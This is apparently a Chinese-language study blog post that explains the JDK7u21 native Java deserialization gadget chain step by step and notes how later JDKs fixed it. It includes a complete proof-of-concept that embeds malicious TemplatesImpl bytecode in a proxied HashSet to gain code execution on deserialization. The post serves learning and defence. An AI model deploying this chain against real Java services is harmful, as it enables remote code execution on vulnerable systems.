JDK7u21 好久没写博客了哇,最近放暑假在实习,平时没啥时间写,周末抽时间来写写;Java的原生类反序列化也是一个老考点了,很早之前就简单的学过,只不过那时候没系统总结,过段时间之后就又忘了,这次把它补上;只不过这个漏洞吧,我感觉主要是学它的思路,实际上能用的地儿挺少的,因为它JDK
版本要求必须在7u21之前,这其实是挺苛刻的
前面我们学的一些反序列化漏洞,都需要靠第三方的一些依赖,那么假如在没有第三方依赖的情况下,Java自身是否还有反序列化漏洞存在呢?答案肯定是有的,它就是我们今天要学的漏洞,JDK7u21
原生反序列化利用链
1.链尾 分析反序列化的链子,我还是更喜欢从后往前分析,也就是说从链尾执行命令开始,一直倒推到最前面;这里我们要聚焦于一个类,它就是sun.reflect.annotation.AnnotationInvocationHandler
,其实这个类我们在前面分析cc1链子的时候是用到了的,接下来我们给出它比较关键的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 COPY class AnnotationInvocationHandler implements InvocationHandler , Serializable { private static final long serialVersionUID = 6182022883658399397L ; private final Class<? extends Annotation> type; private final Map<String, Object> memberValues; private transient volatile Method[] memberMethods = null ; AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { this .type = var1; this .memberValues = var2; } private Boolean equalsImpl (Object var1) { if (var1 == this ) { return true ; } else if (!this .type.isInstance(var1)) { return false ; } else { Method[] var2 = this .getMemberMethods(); int var3 = var2.length; for (int var4 = 0 ; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); Object var7 = this .memberValues.get(var6); Object var8 = null ; AnnotationInvocationHandler var9 = this .asOneOfUs(var1); if (var9 != null ) { var8 = var9.memberValues.get(var6); } else { try { var8 = var5.invoke(var1); } catch (InvocationTargetException var11) { return false ; } catch (IllegalAccessException var12) { throw new AssertionError(var12); } } if (!memberValueEquals(var7, var8)) { return false ; } } return true ; } } private Method[] getMemberMethods() { if (this .memberMethods == null ) { this .memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() { public Method[] run() { Method[] var1 = AnnotationInvocationHandler.this .type.getDeclaredMethods(); AccessibleObject.setAccessible(var1, true ); return var1; } }); } return this .memberMethods; } }
代码有点儿长,但是逻辑是非常简单的,在equalsImpl
方法中调用了this.getMemberMethods
方法,在getMemberMethods
方法中获取了this.type
类中的所有方法并以数组的形式返回;然后循环遍历,利用var5.invoke
,依次执行了每个方法;那么我们假设把this.type
设置成一个Templates
对象,那么它会遍历执行里面的所有的方法,自然就会执行newTransformer()
或getOutputProperties()
方法,那么就会触发我们前面所讲的利用链,进而执行命令;这便是JDK7u21
的核心原理了
2.调用equalsImpl 那么既然进入了equalsImpl
方法就能触发调用链,那么现在的问题就是如何调用equalsImpl
方法了,它是一个私有方法,我们在本类中找找,发现在这个类中的invoke
方法中有调用到,看看代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 COPY public Object invoke (Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals" ) && var5.length == 1 && var5[0 ] == Object.class) { return this .equalsImpl(var3[0 ]); } else { assert var5.length == 0 ; if (var4.equals("toString" )) { return this .toStringImpl(); } else if (var4.equals("hashCode" )) { return this .hashCodeImpl(); } else if (var4.equals("annotationType" )) { return this .type; } else { } } }
invoke
方法,学过动态代理的朋友应该对这个方法太熟了,因为AnnotationInvocationHandler
类是实现了InvocationHandler
这个接口的,也就是说它可以作为一个动态代理类,那么当调用实现类对象的任意方法时,它都会进入到动态代理类对象中的invoke
方法里面;执行invoke
时,第一个参数是这个proxy
对象,第二个参数是被执行的方法名,第三个参数是执行该方法时的参数列表;那么当调用的方法名为equals
时,就会进入到if
语句中,从而调用equalsImpl
方法
3.调用equals 所以说现在的问题就是怎么调用equals
了,我们先来简单聊聊equals
方法,我感觉任意的java对象都有equals
,通常用于比较两个对象是否相同;在开始讲具体哪里调用equals
方法之前,我们先来聊聊Java中的两种数据结构:HashMap
和HashSet
HashMap
:HashMap
是一个散列表,也就是数据结构里面的哈希表,它里面存储的内容是键值对(key-value)映射;哈希表是由数组+链表来实现的,数组的索引由哈希表的key.hashcode()
经过计算得到;也就是说当两对键值对,它们键名的hashcode()
相同时,数组的索引也会相同,就会排到同一个链表后面,如下图所示:
然后来看HashSet
,HashSet
是基于HashMap
来实现的一个集合,是一个不允许有重复元素的集合,既然它都不允许重复,那么在添加对象的时候,就一定会涉及到比较操作,而它比较的方法,就是将对象保存在HashMap
的key
处来去重,看看代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 COPY public class HashSet <E > extends AbstractSet <E > implements Set <E >, Cloneable , java .io .Serializable { private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); int capacity = s.readInt(); float loadFactor = s.readFloat(); map = (((HashSet)this ) instanceof LinkedHashSet ? new LinkedHashMap<E,Object >(capacity, loadFactor) : new HashMap<E,Object >(capacity, loadFactor)); int size = s.readInt(); for (int i=0 ; i<size; i++) { E e = (E) s.readObject(); map.put(e, PRESENT); } } }
然后再来看HashMap
中的put
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 COPY public class HashMap <K ,V > extends AbstractMap <K ,V > implements Map <K ,V >, Cloneable , Serializable {public V put (K key, V value) { if (key == null ) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null ; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this ); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null ; } }
可以看到,在put
方法中确实可以触发equals
,但是,触发这个equals
似乎是有条件的,也就是e.hash == hash
成立以及(k = e.key) == key
不成立,也就是说这两个对象的hash
值要相等且这两个对象不能相等,这样才能触发进key.equals(k)
所以说我们接下来的任务,就是让proxy
对象的hash值,等于TemplateImpl
对象的hash值
4.如何构造 要想让这两个对象的hash值相同,我们首先的先看看hash值是如何计算的:
1 2 3 4 5 6 COPY final int hash (Object k) { int h = 0 ; h ^= k.hashCode(); h ^= (h >>> 20 ) ^ (h >>> 12 ); return h ^ (h >>> 7 ) ^ (h >>> 4 ); }
里面只有一个变量,那就是k.hashCode()
,除此之外其它都是一样的,也就是说hash()
的计算结果也就取决于k.hashCode()
的结果,TemplateImpl
中的hashcode()
方法每次运行都会发生变化,我们没办法操作,于是乎就只有看看proxy
中的hashcode()
方法,proxy
对象是我们利用动态代理创建的实现类,那么调用它的任何方法都会进入到AnnotationInvocationHandler#invoke
中,hashcode()
当然也不例外,看看前面的代码,它会调入到this.hashCodeImpl()
中,看看这个方法:
1 2 3 4 5 6 7 8 9 COPY private int hashCodeImpl () { int var1 = 0 ; Entry var3; for (Iterator var2 = this .memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Entry)var2.next(); } return var1; }
解析一下代码,也就是遍历整个Map中每个key和每个value,然后分别计算(127 * key.hashCode()) ^ value.hashCode()
,并进行求和;那么假如Map中只有一对键值对,那也就只用执行一次,也就不存在什么遍历了,那么该式就简化为(127 * key.hashCode()) ^ value.hashCode()
,那么我们假如key.hashCode()
为0,那么任何数异或0 都为它本身 ,那么该式又简化为value.hashcode()
;我们惊奇的发现,这个对象的hashCode
,也就等于value.hashcode()
,那么我们把value
设置成前面那个TemplateImpl
对象,proxy
对象的hash值不就等于TemplateImpl
对象了?不就搞定了吗?!也就是说这个HashMap,键是hashCode()
为0的字符串,值是这个TemplateImpl对象
现在我们的目标就是找到一个hashcode
为0的字符串,写个脚本遍历就行:
1 2 3 4 5 6 7 8 9 10 COPY public class test111 { public static void main (String[] args) { for (long i = 0 ; i < 9999999999L ; i++) { if (Long.toHexString(i).hashCode() == 0 ) { System.out.println(Long.toHexString(i)); } } } }
跑出来一个字符串:f5a5a608
,就它了
5.思路梳理及POC构造 前面讲了那么多,现在差不多再把整个思路梳理一遍:
我们首先生成恶意TemplateImpl
对象 ,这个对象是为了遍历它的所有方法并执行,以至于会执行到newTransformer()
或getOutputProperties()
方法,进而触发调用链实现命令执行
然后我们实例化AnnotationInvocationHandler
对象,由于是内部类我们需要用反射来获取,然后这个对象的type
属性是一个TemplateImpl
类,它的memberValues
属性是一个Map
,Map
只有一个key
和value
,key
是字符串f5a5a608
,value
是前面生成的恶意TemplateImpl
对象;这个类也就是我们常说的代理类
然后对这个 AnnotationInvocationHandler 对象利用Proxy.newProxyInstance
动态生成实现类,生成proxy
对象
最后实例化一个HashSet
,这个HashSet
有两个元素,分别是:恶意TemplateImpl
对象和proxy
对象,然后将HashSet
对象进行序列化和反序列化即可
照着这个思路,我们可以很轻松的写出代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 COPY package java7u21;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.HashSet;import java.util.LinkedHashSet;import java.util.Map;public class test { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static byte [] serialize(Object o) throws Exception{ ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(o); return barr.toByteArray(); } public static void unserialize (byte [] barr) throws Exception { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr)); ois.readObject(); } public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes" , new byte [][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl()); String zeroHashCodeStr = "f5a5a608" ; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "clyyy" ); Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class, Map.class); handlerConstructor.setAccessible(true ); InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map); Templates proxy = (Templates) Proxy.newProxyInstance(test.class.getClassLoader(), new Class[]{Templates.class}, tempHandler); HashSet set = new LinkedHashSet(); set.add(templates); set.add(proxy); map.put(zeroHashCodeStr, templates); byte []o = serialize(set); unserialize(o); } }
成功,看看反序列化触发代码执行的流程:
首先是触发HashSet
的readObject
方法,其中使用HashMap
的key
做去重,将我们的TemplatesImpl
对象和proxy
对象放到key
处,去重时计算这两个元素的hashCode()
,由于我们的构造,这两个元素的hashcode()
相等,所以说进而触发proxy
的 equals()
方法,进入到代理类的对象的invoke
方法中,然后调用equalsImpl()
方法,在equalsImpl()
中遍历this.type
中的每个方法并调用,由于我们的 this.type
是TemplatesImpl
类,所以触发了newTransform()
或getOutputProperties()
方法,进而触发任意代码执行
其实这条链子不太难理解,如果把cc1中的类理清楚,再加上搞清楚动态代理的话,很快就能理解的啦,最后看看它的修复思路吧
6.修复思路 之所以7U21能使用,最关键的一点就是由于sun.reflect.annotation.AnnotationInvocationHandler
中的this.type
属性没有做限制,导致可以是任何对象,但其实在readObject
函数中,原本有一个对this.type
的检查,在其不是AnnotationType
的情况下,会抛出一个异常。但是,捕获到异常后没 有做任何事情,只是将这个函数返回了,这样并不影响整个反序列化的执行过程;在新版中,将 return; 修改成throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
,这样,反序列化时会出现一个异常,导致整个过程停止,我们就不能将this.type
属性设置成我们前面说的恶意TemplatesImpl
对象了
只不过p神也说了,这个修复方式看起来击中要害,实际上仍然存在问题,这也导致后面的另一条原生利用链JDK8u20;等p神的文章咯
参考文章:
https://y4tacker.blog.csdn.net/article/details/119211849